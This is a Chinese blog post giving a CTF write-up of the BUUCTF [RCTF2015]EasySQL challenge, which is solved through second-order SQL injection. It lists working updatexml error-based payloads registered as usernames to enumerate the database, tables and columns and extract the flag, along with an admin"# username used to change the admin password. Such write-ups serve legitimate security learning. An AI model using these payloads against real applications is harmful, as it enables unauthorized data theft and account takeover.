0
点赞
收藏
分享

微信扫一扫

[初级]sql注入之二次注入[RCTF2015]EasySQL 1(报错注入,爆库,表)

at小涛 2022-02-09 阅读 113

平台

BUUCTF ctf 的一个在线测试平台:点我进入联系

题目介绍

进入训练平台后会出现两个功能按钮,一个是登陆,一个是注册。登陆成功后可以查看文章,点击用户名可以修改密码。

猜想1 管理员的admin账号是否有特殊性

使用admin作为账号注册,发现已被注册说明该账号已经提前预设了,但是我们不清楚密码是什么,因此放弃了这个猜想。
后面我们注册一个带有 " 的账号提示报错了,报错信息如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"123"" and pwd='202cb962ac59075b964b07152d234b70'' at line 1

因此猜想在修改密码的时候的sql语句的构造

update tableName set pwd='xxxxx' where username='aaa' and pwd='xxx'

其中username是我们注册的用户名,并且报错信息会展示出来。因此我们可以使用报错注入,使用updatexml函数来帮助我们找出我们想要的信息。

小小的尝试,修改admin的密码

居然他的sql语句可以被我们猜到,那么我们可以修改admin 的密码,我们先注册一个admin"#的账号,然后我们去修改密码,此时修改密码的语句就会变成

update tableName set pwd='我们填写的新密码' where username="admin"#' and pwd='xxx'

操作完成后,登陆admin的账号,发现和普通的账号查看的文章是一样的,因此猜测admin账号并没有特殊性。

使用报错注入,获取库表信息

updatexml函数的使用自行百度哈。
注册账号:1"||(updatexml(1,concat(’~’,(select(database()))),1))#
返回的结果是:~web_sqli
注册账号:1"||(updatexml(1,concat(’~’,(select(group_concat(table_name)from(information_schema.tables)where(table_schema=‘web_sqli’))))))#
返回的结果是:~article,flag,users

此时猜测flag放了我们想要的flag,因此我们去爆flag表
注册账号:1"||(updatexml(1,concat(’~’,(select(group_concat(column_name))from(information_schema.columns)where(table_name=‘flag’))),1))#
返回结果:~flag
注册账号:1"||(updatexml(1,concat(’~’,(select(group_concat(flag))from(flag))),1))#
返回结果:~RCTF{Good job! But flag not her

很明显这个flag并不是我们需要的,我们使用相同的方法尝试了表 user
得到的结果是:name,pwd,email,real_flag_1s_here
很明显,real_flag_1s_here这个字段是我们需要的,因此我们去查询表中的数据

注册账号:1"||(updatexml(1,(select(group_concat(real_flag_1s_here))from(users)),1))#
得到的结果:xxx,xxx,xxx,xxx,
猜测应该是每一个账号都是有个默认的值 xxx,xxx,xxx,因此我们需要添加一些条件
注册账号:1"||(updatexml(1,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(’^f’)),1))#
返回结果:{21deb2c0-d547-4f63-8d33-274a3393

返回的结果好像不全,那是因为updatexml函数返回的数据中,只返回前32个字符长度的结果,
因此我们还需要将结果反转一下

注册账号:1"||(updatexml(1,concat(’~’,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(’^f’)))),1))#
返回结果:}9d703933a472-33d8-36f4-745d-0c

至此,我们找到了我们需要的flag了。

举报

相关推荐

0 条评论